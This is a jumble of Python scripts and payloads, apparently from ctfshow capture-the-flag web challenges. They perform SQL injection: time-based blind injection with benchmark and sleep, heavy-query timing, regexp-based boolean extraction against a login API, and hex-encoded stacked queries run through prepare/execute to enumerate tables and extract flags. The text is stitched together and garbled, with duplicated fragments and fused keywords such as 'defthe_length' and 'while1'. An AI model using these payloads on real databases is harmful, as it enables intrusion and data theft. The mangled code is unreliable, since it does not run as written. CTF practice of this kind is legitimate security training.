defthe_length(url, query): # 确定查询结果的长度 for i inrange(1, 80):
payload = f"1) or if((length(({query})))={i},benchmark(1500000,md5(1)),1)#" # if((length(({query})))={length},sleep(2),1)&debug=1 if res_judge(url, payload): print(f"[+] Found the length: {i}") return i
# query = "select database()" # query = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # query = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'" query = "select flagaabc from ctfshow_flagxccb"
length = the_length(url, query) if length: for i inrange(1, length + 1): for mid in flagstr:
payload = f"1) or if((substr(({query}),{i},1)='{mid}'),benchmark(1500000,md5(1)),1)#" if res_judge(url, payload): flag += mid print(f"[+] Found {i}th character: {mid}") print(f"[-] The String: {flag}") break else: print(f"[!] Error occurred: length return none, please check your payload or run last payload again") exit()
j = 1 res = "" while1: for i in flagstr: data = { 'ip': f"1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',\ (select count(*) from ( \ (select table_name from information_schema.columns)a, \ (select table_name from information_schema.columns)b, \ (select table_name from information_schema.columns limit 1,7)c) limit 1 \ ),1", 'debug': '1' } try: r = requests.post(url, data=data, timeout=2.5) except Exception as e: res += i print(res) j += 1
from requests import post from string import digits, ascii_lowercase
url = 'http://591b6da2-b965-4ff3-a8f4-826f177ed92d.challenge.ctf.show/api/' # 数据库值: ctfshow_web # payload = 'admin\' and (select database()) regexp \'{}\' #' # 表名: ctfshow_fl0g # payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #' # 字段: id,f10g # payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #' # 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4} payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #' flag = 'ctfshow{' # flag需要修改, 不能留空
if __name__ == '__main__': whileTrue: for c in'-}_' + digits + ascii_lowercase: resp = post(url, {'username': payload.format(flag + c), 'password': '123'}) if'密码错误'in resp.json().get('msg'): flag += c print(flag) if c == '}': exit() break
j = 1 res = "" while1: for i in flagstr: data = { 'ip': f"1) and if(left((select flagaabcc from ctfshow_flagxcac),{j})='{res+i}',\ (select count(*) from ( \ (select table_name from information_schema.columns)a, \ (select table_name from information_schema.columns)b, \ (select table_name from information_schema.columns limit 1,7)c) limit 1 \ ),1", 'debug': '1' } try: r = requests.post(url, data=data, timeout=2.5) except Exception as e: res += i print(res) j += 1
1';prepare h from 0x73686f77207461626c6573;execute h;%23 # 查表 ctfsh_ow_flagas 1';prepare h from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute h;%23 # 拿到flag
1';prepare h from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute h;%23 # select * from information_schema.routines
defthe_length(url, query): # 确定查询结果的长度 for i inrange(1, 80):
payload = f"\'or if((length(({query})))={i},sleep(2),1)#" # if((length(({query})))={length},sleep(2),1)&debug=1 if res_judge(url, payload): print(f"[+] Found the length: {i}") return i